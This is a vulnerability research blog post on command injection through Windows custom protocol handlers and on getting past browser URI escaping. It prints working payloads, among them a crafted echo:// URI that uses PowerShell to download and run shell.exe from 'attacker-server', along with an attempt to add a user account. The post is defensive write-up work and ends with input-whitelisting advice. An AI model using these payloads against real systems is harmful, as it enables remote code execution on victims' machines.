Vulnerability Research
December 3, 2019
By Andrey Polkovnychenko

Exploiting custom protocol handlers in Windows

In this article we would like to present the mechanism for custom protocol handling in Windows, and how it can be exploited using a simple command injection vulnerability. By bringing this mechanism and specific issue to light, we’re hoping to help our readers make sure they don’t make such mistakes when implementing their own protocol handlers.

Custom protocol handlers in Windows

As shown in the picture below, every URI starts with a scheme component. Without going into too much detail, the scheme component instructs the browser on how to process the rest of the URI.


Most people are familiar with schemes, such as http, https and ftp, which browsers can natively handle in-process. However, most modern browsers and operating systems allow developers to implement their own URI schemes and register an external application to handle their custom schemes, instead of the browser.

Whenever a user clicks on a link with a custom scheme, the browser will invoke the application that is registered as the scheme handler. For example, after clicking on a URI starting with mailto://, the browser will open the default email client.

This is a very handy technique, allowing software developers to significantly improve the user experience with relatively low effort.

Registering a new custom URI handler is easy and doesn’t even require usage of WinAPI. All that the developer needs to do is add a couple of entries to the Windows Registry as shown below:


   (Default) = "URL:My Protocol"
   URL Protocol = ""
    (Default) = "myapp.exe,1"
          (Default) = "notepad" "%1"



This sample code registers the custom scheme myscheme with the display name of “My Protocol”, which will be handled by the application registered at the shell/open/command key. In this case it’s the Notepad application, which is installed in Windows by default. Note that the parameter passed to Notepad (%1) is the entire URI.

Let’s study how the Chrome browser processes a link we’ve clicked through to. In this example:


As the first step it looks for a corresponding key in the Registry:


Once the handler is found, it prompts the user to process the custom scheme using the name we added to the Registry (My Protocol) as shown below:


If the user opted to open the URL, Chrome will quote the URI so it will not be able to subvert ShellExecute itself, escapes certain characters in the URI in order to obtain a canonical string representation of it (we will talk more about this escaping mechanism in the next section), adjusts the size of the URI to 2048 bytes, and passes it as a parameter to the registered handler:

(Source code reference)


Eventually, it executes the registered handler command line:


Microsoft responsibly warns about the risk involved in using custom URI schemes:

Security Warning: Applications that handle URI schemes must consider how to respond to malicious data. Because handler applications can receive data from untrusted sources, the URI and other parameter values passed to the application may contain malicious data that attempts to exploit the handling application.

But despite all the warnings and restrictions, forums and developer blogs are full of examples containing incorrect and unsafe usage of this functionality.

One of the most common mistakes is creating a command injection vulnerability by passing some part of the URI as a shell parameter without prior filtering.

This snippet, implementing an “echo” scheme handler, was published in one of the oldest and most popular answers on Stack Overflow regarding the implementation of custom scheme handlers:


The author of this sample assumed that the browser will pass the URI into the echo command, to be printed in the terminal. However, the Windows textual shell (cmd.exe) supports many characters that can modify the execution. One example out of many is that a single execution line can contain multiple applications to execute separated by the & symbol.

Hence, in the example above, an attacker will be able to invoke any command on the victim’s machine simply by providing the victim a URI in the form of echo://&<command to execute>.

For example echo://&calc.exe will execute the Calculator program.

Another problematic case is when the handler is a custom binary which is not run directly with shell, but the handler itself runs shell commands (ex. by using system() or CreateProcess(“cmd /c …”)) and passes them the unsanitized URI as a parameter.

Example of a CreateProcess() call which is vulnerable to command injection:


The URI escaping mechanism

Assuming our URI is injected as a parameter to the Windows CLI shell (cmd.exe), exploitation might seem trivial. However, as previously mentioned, the browser canonicalizes the URL by escaping special shell characters which complicates our attack. Specifically, the browser escapes the characters using the same algorithm as the Javascript method encodeURI. The following table demonstrates the escaped characters: exploiting-custom-protocol-handlers-in-Windows-internal-image-11

An important exception to “%” escaping is when the “%” character is followed by two hexadecimal characters (0-9 or a-f or A-F). In this case the “%” character will not be escaped (for example, %hello will be escaped to %25hello but %9axz will remain %9axz)

So, if we were to try and add a new user to the system by using echo://&net user add eviluser, it would get translated to echo://&net%20user%20add%20eviluser.

Specifically the 2nd command executed by the shell would be net%20user%20add%20eviluser, which will not be successfully parsed by the shell.

Bypassing the URI escaping mechanism

First things first. In order to bypass the “space” character being escaped, there is a well-known trick of extracting an existing space character out of an environment variable.

For example, it is usually possible to write a space character by writing %programfiles~10,1%. This returns the tenth symbol of “C:\Program Files” which is a space, without writing the space character itself.

However, in this case the browser is escaping the character “%” into “%25”, which means that we cannot use most of the environment variables. But all is not lost! As mentioned, the browser doesn’t escape the percent symbol if it’s part of a hexadecimal number.

Fortunately for the attacker, there’s a hidden environment variable %CD% which fits the above criteria and returns the path to the current directory. Because most of the applications on Windows are installed to Program Files, we can use this variable to extract a space character by writing: %CD~10,1%.

So now we can attempt to weaponize the command line and run a full download and execute payload:

echo://&powershell.exe%CD~10,1%(new-object%CD~10,1%System.Net.WebClient).DownloadFile("http: //attacker-server/shell.exe','shell.exe')&shell

But there’s a side effect in this trick. The last symbol of %CD~10,1% will still be escaped, so the first command line which will be executed is actually:

powershell.exe 25(new-object 25System.Net.WebClient).DownloadFile('http://attacker-server/shell.exe','shell.exe'

The first 25 does not cause any issues as it is interpreted by Powershell as a number, so we can ignore it and run the next command by appending “;” after it. But 25System.Net.WebClient can’t be interpreted as a valid object.

We will show one final trick here - delayed variable expansion. If the shell has delayed variable expansion enabled, it will also accept variables wrapped by the “!” character and not just “%”. Note that the “!” character does not get escaped by the browser! We can enable delayed variable expansion by passing /v:on to cmd.exe.

So our final form is: echo://&cmd/v:on/cpowershell.exe%CD:~10,1%;(new-object!cd:~10,1!'http ://attacker-server/shell.exe','shell.exe')&shell

And now finally it works. By clicking through to this “page” the victim will download and execute the attacker’s malicious program “shell.exe”, which will be executed in the context of the custom protocol handler.


We hope that from now on you will pay attention to the fact that the handler of your custom link can be triggered not only by resources under your control, but by any site opened via the browser. Therefore, you should make sure that you carefully implement your protocol handler and filter all the input passed by the URI. In fact, if it is possible, the best course of action would be to allow only a whitelist of alpha-numeric characters so that no special symbols are allowed at all.

Written by: Andrey Polkovnychenko and Shachar Menashe

Share this post

You may also like